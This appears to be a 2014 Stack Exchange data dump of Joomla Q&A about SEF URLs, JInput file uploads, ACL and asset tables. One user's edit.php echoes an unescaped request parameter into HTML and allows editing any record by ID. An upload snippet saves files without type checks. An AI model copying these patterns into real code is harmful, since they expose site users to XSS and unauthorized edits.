  <row Id="2213" PostTypeId="2" ParentId="2212" CreationDate="2014-06-10T08:56:10.283" Score="3" Body="&lt;p&gt;Do you have caching enabled?  Disable while developing.&#xA;Have you changed the URL Rewrite option?&#xA;Have you renamed the .htaccess.txt file?&#xA;Try rebuilding menus option from menu manager.&#xA;Also make sure your alias is exactly as it should be (no extra spaces).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if these steps are all overly obvious.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2014-06-10T08:56:10.283" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2214" PostTypeId="2" ParentId="2208" CreationDate="2014-06-10T11:35:29.230" Score="4" Body="&lt;p&gt;If you're including the JavaScript as a user and customized to your article, then it's fine. Especially if it is different for each article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if you happen to repeat the same JavaScript code in multiple articles, then there may be better solutions like an alternative article layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about alternative layouts here: &lt;a href=&quot;http://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Layout_Overrides_in_Joomla&lt;/a&gt;. Basically you copy the orginal layout file to your template like you would do to override it. But then you rename the file to a new name.&#xA;This new layout can then be selected as an alternative layout for an article. You then can add the JavaScript to that layout and reuse it for each article you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way would be to use either the custom module or any of the available plugins/module which allow to add assets to the site. However personally I think I would use alternative layouts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we are speaking about extension developers who ask the users to include JavaScript code in the articles, then those developers should be fired :-)&lt;/p&gt;&#xA;" OwnerUserId="52" LastEditorUserId="52" LastEditDate="2014-06-11T09:29:13.967" LastActivityDate="2014-06-11T09:29:13.967" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2215" PostTypeId="2" ParentId="2212" CreationDate="2014-06-10T13:04:27.800" Score="4" Body="&lt;p&gt;If your URLs are working fine when you don't use SEF URLs and the 404 error page appears only when SEF URLs are turned ON, then it is most likely that the .htaccess file on your Joomla website is not properly configured. Have you tried renaming the htaccess.txt (which comes by default with Joomla) to .htaccess ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, you should try renaming htaccess.txt file present on website's root folder to .htaccess and then try to use SEF URLs. Hope this will solve the problem. In case of failure, please tell us and I will try to troubleshoot it more. :)&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2014-06-10T13:04:27.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2216" PostTypeId="2" ParentId="2206" CreationDate="2014-06-10T13:57:43.870" Score="3" Body="&lt;p&gt;Just to have a valid answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem was in &lt;code&gt;$options&lt;/code&gt; - it is an array, but &lt;code&gt;JHttpTransportCurl&lt;/code&gt; constructor require &lt;code&gt;JRegistry&lt;/code&gt; instance. So &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be changed to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = new JRegistry();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-06-10T13:57:43.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2217" PostTypeId="1" AcceptedAnswerId="2227" CreationDate="2014-06-10T14:02:05.047" Score="6" ViewCount="6832" Body="&lt;p&gt;i use a html form on one of my articles, i am successful in getting the values from the form using JInput!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = JFactory::getApplication()-&amp;gt;input;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But now i need  to add a &lt;strong&gt;file upload&lt;/strong&gt; input to the form :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;file&quot; name=&quot;upload&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to upload and save files on the server using JInput!?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;File upload with restrictions, allowing only specific file extentions.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="383" LastActivityDate="2017-04-04T14:42:23.443" Title="File upload using JInput! possible?" Tags="|php|jinput|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2218" PostTypeId="2" ParentId="2212" CreationDate="2014-06-10T16:01:42.297" Score="1" Body="&lt;p&gt;We had something similar, and it was a result of having two k2 items with the same alias - one of which was unpublished, causing the 404. It shouldn't be possible, joomla typically yells at you for even trying to double up an alias, but it's worth going in and checking your articles / categories (trashed and unpublished), and your menu items (trashed and unpublished), and if you're using a component, such as k2 or Sobipro, its equivalent of articles.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-06-10T16:01:42.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2219" PostTypeId="1" CreationDate="2014-06-10T18:19:53.470" Score="1" ViewCount="361" Body="&lt;p&gt;i use JInput to get data from a form and insert that into the database, but it only works when the PHP file containing the &lt;strong&gt;JInput script&lt;/strong&gt; is placed inside the root folder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP SCRIPT&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define( '_JEXEC', 1 );&#xA;define('JPATH_BASE', __DIR__);&#xA;require_once ( JPATH_BASE .'/includes/defines.php' );&#xA;require_once ( JPATH_BASE .'/includes/framework.php' );&#xA;$app = JFactory::getApplication('site');&#xA;$user = JFactory::getUser();&#xA;$profile = JUserHelper::getProfile($user-&amp;gt;id);&#xA;&#xA;$input = JFactory::getApplication()-&amp;gt;input;&#xA;$username = $input-&amp;gt;get('username');&#xA;$choice = $input-&amp;gt;get('choice');&#xA;&#xA;$db = JFactory::getDbo(); &#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$columns = array('username', 'choice');&#xA;$values = array($db-&amp;gt;quote($username), $db-&amp;gt;quote($choice));&#xA;&#xA;$query-&amp;gt;insert($db-&amp;gt;quoteName('#__choice'))&#xA;  -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;  -&amp;gt;values(implode(',', $values));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;&#xA;header(&quot;Location: /choice&quot;);&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried to define the &lt;strong&gt;JPATH_BASE&lt;/strong&gt; outside root folder with this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;('JPATH_BASE','../../');&lt;/code&gt; which always used to work while importing Joomla CMS outside root directory, but with this JInput stuff, i am getting a blank page?&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="159" LastEditDate="2014-08-10T08:43:36.740" LastActivityDate="2014-08-10T08:43:36.740" Title="JInput object does not work outside root folder?" Tags="|joomla-3.x|jinput|" AnswerCount="2" CommentCount="0" ClosedDate="2016-08-21T19:37:20.897" ContentLicense="CC BY-SA 3.0" />
  <row Id="2220" PostTypeId="2" ParentId="2219" CreationDate="2014-06-10T19:11:26.983" Score="1" Body="&lt;p&gt;If you get a blank page, it usually means that the server encountered a fatal error.&#xA;You should either turn on error reporting and set it to a development level or check the server error log. There should be something written there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you move this script outside the root, you sure need to adjust the file paths in your &lt;code&gt;require_once&lt;/code&gt; statements. It needs the path from your current file to the Joomla folder and its libraries.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-06-10T19:11:26.983" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2221" PostTypeId="2" ParentId="2217" CreationDate="2014-06-10T19:16:13.043" Score="7" Body="&lt;p&gt;There are two tricky things people usually fall over when it comes to file uploads using JInput:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your form tag needs to contain &lt;code&gt;enctype=&quot;multipart/form-data&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The file array is retrieved with &lt;code&gt;$input-&amp;gt;files-&amp;gt;get('upload');&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-06-10T19:16:13.043" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2222" PostTypeId="1" AcceptedAnswerId="2232" CreationDate="2014-06-10T19:54:14.740" Score="-2" ViewCount="586" Body="&lt;p&gt;I have prepared a script which allows registered users to edit some records (which belong to them) in a table of JDatabase. Here's how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is the first script which detects the logged in user and shows all the records present in the database belonging to that user in a HTML table&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('*')&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__submission'))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('username') . &quot; = &quot;. $db-&amp;gt;quote($user-&amp;gt;username));&#xA;&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $rows = $db-&amp;gt;loadRowList();&#xA;&#xA;echo '&amp;lt;table border=&quot;1&quot;&amp;gt;';&#xA;echo '&amp;lt;tr&amp;gt;';&#xA;echo ' &amp;lt;th&amp;gt;Project Name&amp;lt;/th&amp;gt;';&#xA;echo ' &amp;lt;th&amp;gt; Details&amp;lt;/th&amp;gt;';&#xA;echo ' &amp;lt;th&amp;gt; Action&amp;lt;/th&amp;gt;';&#xA;echo '&amp;lt;/tr&amp;gt;';&#xA;echo '&amp;lt;tr&amp;gt;';&#xA;foreach($rows as $row) {&#xA;echo &quot;&amp;lt;tr&amp;gt;&quot;;&#xA;echo &quot;&amp;lt;td&amp;gt;&quot; .$row['2']. &quot;&amp;lt;/td&amp;gt;&quot;;&#xA;echo &quot;&amp;lt;td&amp;gt;&quot; .$row['4']. &quot;&amp;lt;/td&amp;gt;&quot;;&#xA;&#xA;echo &quot;&amp;lt;td&amp;gt;&quot;;&#xA;// this hyperlink leads to the edit page of that specific record &#xA;// $row['0'] returns the value of the id for that specific record&#xA;echo &quot;&amp;lt;a href='edit.php?id={$row['0']}'&amp;gt;Edit&amp;lt;/a&amp;gt;&quot;;&#xA;echo &quot;&amp;lt;/td&amp;gt;&quot;;&#xA;echo &quot;&amp;lt;/tr&amp;gt;&quot;;&#xA;}&#xA;echo '&amp;lt;/tr&amp;gt;';&#xA;echo '&amp;lt;/table&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now this is the second script (edit.php)&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// provides access to the database&#xA;include '/libs/connect.php';&#xA;&#xA;if($_POST){&#xA;//update the record if the form was submitted&#xA;$sql=&quot;UPDATE `submissions` SET&#xA;&#xA;Details='&quot; . mysql_real_escape_string($_POST['Details']) . &quot;'   &#xA;WHERE &#xA;id=&quot; . mysql_real_escape_string($_POST['id']);&#xA;&#xA;if(mysql_query($sql)){&#xA;    //this will be displayed when the query was successful&#xA;    echo &quot;&amp;lt;div&amp;gt;Record was edited.&amp;lt;/div&amp;gt;&quot;;&#xA;}else{&#xA;    die(&quot;SQL: &quot; . $sql . &quot; &amp;gt;&amp;gt; ERROR: &quot; . mysql_error());&#xA;}&#xA;}&#xA;&#xA;&#xA;  $id=$_REQUEST['id']; //the user id&#xA;&#xA;//this query will select the user data which is to be used to fill up the form&#xA;$sql=&quot;select * FROM `submissions` WHERE id=&quot; . mysql_real_escape_string($_GET['id']);&#xA;$rs=mysql_query($sql) or die(&quot;SQL: &quot;.$sql.&quot; &amp;gt;&amp;gt; &quot;.mysql_error());&#xA;$num=mysql_num_rows($rs);&#xA;&#xA;//just a little validation, if a record was found, the form will be shown&#xA;//it means that there's an information to be edited&#xA;if($num&amp;gt;0){ &#xA;$row=mysql_fetch_assoc($rs);&#xA;extract($row);&#xA;?&amp;gt;&#xA;&amp;lt;!--we have our html form here where new user information will be entered--&amp;gt;&#xA;&#xA;&#xA;&amp;lt;form action='#' method='post' border='0'&amp;gt;&#xA;&amp;lt;table&amp;gt;&#xA;&#xA;          &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td&amp;gt;Project Details&amp;lt;/td&amp;gt;&#xA;        // displays a text box already having the value present in the database&#xA;        &amp;lt;td&amp;gt;&amp;lt;input type='text' name='Details' value='&amp;lt;?php echo $Details;  ?&amp;gt;' /&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;&amp;lt;!-- so that we could identify what record is to be updated  --&amp;gt;&#xA;&amp;lt;input type='hidden' name='id' value='&amp;lt;?php echo $_GET['id'] ?&amp;gt;' /&amp;gt;&#xA;&#xA;  &amp;lt;!-- we will set the action to edit --&amp;gt;&#xA;     &amp;lt;input type='hidden' name='action' value='edit' /&amp;gt;&#xA;     &amp;lt;input type='submit' value='Edit' /&amp;gt;&#xA;            &amp;lt;a href='/database.php'&amp;gt;Back to index&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;   &amp;lt;/table&amp;gt;&#xA;   &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, what exactly happens here is..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the registered user, click on the edit button (on the main page - first script),&#xA;the URL becomes (example) :&#xA;&lt;code&gt;example.com/edit.php?id=3&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the draw back here is if any one tries to reach this URL directly, even he will have the access to edit that record? I am confused, how can i allow only those records be edited which belong to the logged in user only?&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="159" LastEditDate="2014-06-11T13:57:21.287" LastActivityDate="2014-06-11T13:57:21.287" Title="Allowing Registered Users To Edit Only Specific JDatabase records?" Tags="|joomla-3.x|jdatabase|fix-my-code|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2223" PostTypeId="1" CreationDate="2014-06-10T19:56:03.917" Score="0" ViewCount="252" Body="&lt;p&gt;I have installed an Extension Manager &#xA;Installation was successful but after clicking that Component it shows me this error &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to undefined method accessmanagerController::check_demo_time_left() in C:\xampp\htdocs\newsite\administrator\components\com_accessmanager\controller.php on line 144&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have received this error before also with other extensions&#xA;How should i solve this one ?&lt;/p&gt;&#xA;" OwnerUserId="411" LastEditorUserId="3" LastEditDate="2014-06-11T10:02:17.897" LastActivityDate="2014-09-09T23:00:46.193" Title="Call to undefined method access manager controller.php joomla" Tags="|component|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2225" PostTypeId="2" ParentId="2223" CreationDate="2014-06-10T20:54:18.303" Score="1" Body="&lt;p&gt;I don't usually post these sorts of comments as answer but thought I would just get straight to the point. &lt;code&gt;com_accessmanager&lt;/code&gt; is not a part of Joomla's core. It's a 3rd party extension. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error you're receiving is nothing to do with installing extensions or Joomla itself, therefore the issue should be followed up with the developer of that extension. Before doing so, just ensure you are running the latest version of &lt;code&gt;com_accessmanager&lt;/code&gt; as the error might have been fixed in a newer version. As a matter of fact, if I'm correct in assuming you're using &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-access/backend-a-full-access-control/19766&quot; rel=&quot;nofollow&quot;&gt;this extension&lt;/a&gt;, then an update was actually released today.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-06-10T20:54:18.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2226" PostTypeId="2" ParentId="779" CreationDate="2014-06-10T21:29:11.647" Score="2" Body="&lt;p&gt;My two cents:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a customer I needed to access the contents of his joomla site from a smartphone app. The contents were placed in com_content so initially I used obRSS feeds. Then I found jBackend on JED and tried it. It is available here &lt;a href=&quot;http://www.selfget.com/products/jbackend.html&quot; rel=&quot;nofollow&quot;&gt;http://www.selfget.com/products/jbackend.html&lt;/a&gt;&#xA;The code seems very clean and it supports RESTful requests and JSON responses. Online documentation is limited but clear enough for technicians. Unfortunately at the moment it only supports com_user and com_content but in my case this was fine. Now I should use it for another customer who uses K2 CCK. I'm trying to build a custom plugin to access K2 articles and categories, but at least I will save the entire requests management code. I sent an email to developer and he told me he are working on additional modules like K2 and Kunena forum too, it is very promising extension.&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2014-06-10T21:29:11.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2227" PostTypeId="2" ParentId="2217" CreationDate="2014-06-10T21:32:57.503" Score="16" Body="&lt;p&gt;In addition to @Bakual's answer, let's assume you a simple form like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form name=&quot;upload&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; name=&quot;file_upload&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To upload the file once the submit button has been pressed, you can use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = JFactory::getApplication()-&amp;gt;input;&#xA;$file  = $input-&amp;gt;files-&amp;gt;get('file_upload'); &#xA;&#xA;// Cleans the name of teh file by removing weird characters&#xA;$filename = JFile::makeSafe($file['name']); &#xA;&#xA;$src  = $file['tmp_name'];&#xA;$dest = JPATH_BASE . '/modules/mod_mymodule/' . $filename;&#xA;&#xA;if (JFile::upload($src, $dest)) &#xA;{&#xA;      // The file has successfully been uploaded :)&#xA;} &#xA;else &#xA;{&#xA;      // Oh crap, something happened. Run!&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will obviously need to change the path (&lt;code&gt;$dest&lt;/code&gt;) to whatever suits your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a load of validations you should perform when handling uploads, a lot of which can be found on the link you have been provided with already:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/How_to_use_the_filesystem_package&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.joomla.org/How_to_use_the_filesystem_package&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2017-04-04T14:42:23.443" LastActivityDate="2017-04-04T14:42:23.443" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2228" PostTypeId="1" AcceptedAnswerId="2264" CreationDate="2014-06-10T22:17:51.607" Score="0" ViewCount="436" Body="&lt;p&gt;I have a joomla 3 site using the Easyblog add-in. I often have code snippets in my blog and have found that &quot;hilite.me&quot; is my favourite html generator for code. However, when I insert this code into my blog, either joomla or easyblog is mangling it so bad it is unrecognisable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take for example this bit of code - &lt;a href=&quot;http://codepen.io/Lembasts/pen/wKcuq&quot; rel=&quot;nofollow&quot;&gt;Codepen - Hilite me html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After inserting this code into the JCE editor in easyblog, it looks fine. However, when looking at the blog post on my website, all line breaks are removed and so are all tabs/whitespace for indenting.&#xA;As you can see in the &quot;hilite me&quot; generated html,  it is wrapped in the &quot;pre&quot; tag. My limited understanding of html tells me that you must honour all line breaks and white space within a pre. It seems to me that some transformation is happening behind the scenes which &quot;corrupts&quot; the &quot;pre&quot; tag intention.&#xA;Does anyone know what might be happening and more importantly how I can get joomla/easyblog to respect my inserted html asis please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;David&lt;/p&gt;&#xA;" OwnerUserId="1512" LastActivityDate="2014-06-12T01:08:46.773" Title="Joomla, Easyblog and format irregularities" Tags="|joomla-3.x|css|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2229" PostTypeId="1" AcceptedAnswerId="2244" CreationDate="2014-06-10T23:00:03.570" Score="3" ViewCount="273" Body="&lt;p&gt;Okay, this is a sweet set of styles for making any navigation centered and 100% width, using a justify trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/anonymous/1a1460cf195c058d180d&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/anonymous/1a1460cf195c058d180d&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works no problem in codepen, or a flatfile. It does NOT work on a Joomla install. This blows my noodle, how is that even possible? That's like the color red not working. Can anyone think of why it would fail on Joomla, or how exactly I could get it to work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The More information requested:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We use our own custom template. We have a template we call 'base' with all our code in less, compiling to the css. If I use this, removing all ul styles and all body styles, it still doesn't work. I can remove bootstrap, it doesn't make a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New Information:&#xA;I've done this two ways - totally works in a Joomla Article. Totally doesn't work with a Joomla Menu uls. I've used the exact same code, put them side by side, but piping it through the menu module breaks it. That is completely weird. There is no visible difference between the two. When I copy the menu UL and move it into the article, as is, it doesn't work. When I remove the class=&quot;item-#&quot; off the li, it doesn't work. This is mind blowing. They are identical!!!&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2014-06-11T15:46:56.270" LastActivityDate="2014-06-12T12:22:33.023" Title="Justified Menus Don't work in Joomla" Tags="|navigation|" AnswerCount="2" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2230" PostTypeId="1" AcceptedAnswerId="2235" CreationDate="2014-06-11T01:58:16.977" Score="8" ViewCount="1523" Body="&lt;p&gt;1) I have migrated a lot of articles from Joomla 1.5 to joomla 3. Migration went on mostly fine. However, there are a couple of articles which do not get saved when I press the save button in article editor. It does say error while saving article but doesn't mention what error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I looked into the asset table after someone mentioned that the integrity of my asset table may not be correct. I was confused when I saw the different columns. Hence my 2nd question is what is Nested set Parent, Nested set lft and nested set right in the asset table.&#xA;do lft and right need to have unique values? &lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-06-11T12:17:01.883" Title="How do I know if the integrity of the asset table is good up or not?" Tags="|mysql|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2231" PostTypeId="2" ParentId="2228" CreationDate="2014-06-11T02:39:39.863" Score="0" Body="&lt;p&gt;I suspect JCE is stripping things. Try turning off the editor entirely. With JCE you can simply click the little toggle text link above the editor and put your code in the box (don't use JCE's code mode). Or turn of the editor completely for your user in the global config and try that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If THAT doesn't work, try Nonumber Sourcer and see if that works. It lets you put raw code in without it being mangled or stripped&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nonumber.nl/extensions/sourcerer&quot; rel=&quot;nofollow&quot;&gt;http://www.nonumber.nl/extensions/sourcerer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-06-11T02:39:39.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2232" PostTypeId="2" ParentId="2222" CreationDate="2014-06-11T06:43:43.113" Score="7" Body="&lt;p&gt;You are making this way too difficult.  Joomla provides you with a feature called ACL that allows just that.  For each record, Joomla will create an extra line in the &lt;code&gt;#__assets&lt;/code&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need to do is add an &lt;code&gt;asset_id&lt;/code&gt; field to the database table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`asset_id` INT(10) UNSIGNED NOT NULL DEFAULT '0',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;create a role in a component (usually in a &lt;code&gt;/administrator/com_your_component/config.xml&lt;/code&gt;) file as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;action name=&quot;core.edit.own&quot; title=&quot;JACTION_EDITOWN&quot; description=&quot;JACTION_EDITOWN_COMPONENT_DESC&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then when you first create the record, if you inherit from jModelForm Joomla will take care of it; otherwise look at the store() method in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;libraries/joomla/database/table.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you access it check the user can create new items in this section&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       $authorised = $user-&amp;gt;authorise('core.edit.own', 'com_your_component');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(you don't need to be inside your component to check it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see the &lt;a href=&quot;http://docs.joomla.org/Adding_ACL_rules_to_your_component&quot;&gt;official documentation&lt;/a&gt; on using ACL and the &lt;a href=&quot;http://docs.joomla.org/J2.5%3aDeveloping_a_MVC_Component/Adding_ACL&quot;&gt;older version for J2.5&lt;/a&gt;, which has more info.&lt;/p&gt;&#xA;" OwnerUserId="377" LastEditorUserId="377" LastEditDate="2014-06-11T07:39:50.173" LastActivityDate="2014-06-11T07:39:50.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2233" PostTypeId="2" ParentId="2219" CreationDate="2014-06-11T07:30:24.017" Score="1" Body="&lt;p&gt;You cannot set JPATH_BASE as relative, rather use the approach of the files in the /cli folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (file_exists(dirname(dirname(__FILE__)) . '/defines.php'))&#xA;{&#xA;    require_once dirname(dirname(__FILE__)) . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES'))&#xA;{&#xA;    define('JPATH_BASE', dirname(dirname(__FILE__)));&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and, the library you're missing is probably defines itself!  Additionally you can output some code to ensure you're actually including the library based on having _JDEFINES defined or not.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2014-06-11T07:30:24.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2234" PostTypeId="2" ParentId="2230" CreationDate="2014-06-11T09:47:01.833" Score="5" Body="&lt;p&gt;Apart from the mentioned documents, have you looked at &lt;a href=&quot;http://www.aclmanager.net&quot;&gt;ACL Manager&lt;/a&gt; which has built in repair tools which we find essential for sites post migration.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-06-11T09:47:01.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2235" PostTypeId="2" ParentId="2230" CreationDate="2014-06-11T12:17:01.883" Score="5" Body="&lt;p&gt;Make sure you have cleared out all elements marked trash(if any), you may have conflicting alias.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try the 'Rebuild Menu items' in Joomla Menu Manager (I know not articles but can clear up assets table issues sometimes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then as @cppl mentions ACL manager is excellent tool for fixing remaining assets table issues without having to touch the database.  I find that after installing ACL Manager that I am always having to fix minor Assets Table issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ACL Manager is a 'paid for' extension, I have no affiliation and I would suggest it is worth the purchase E14.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2014-06-11T12:17:01.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
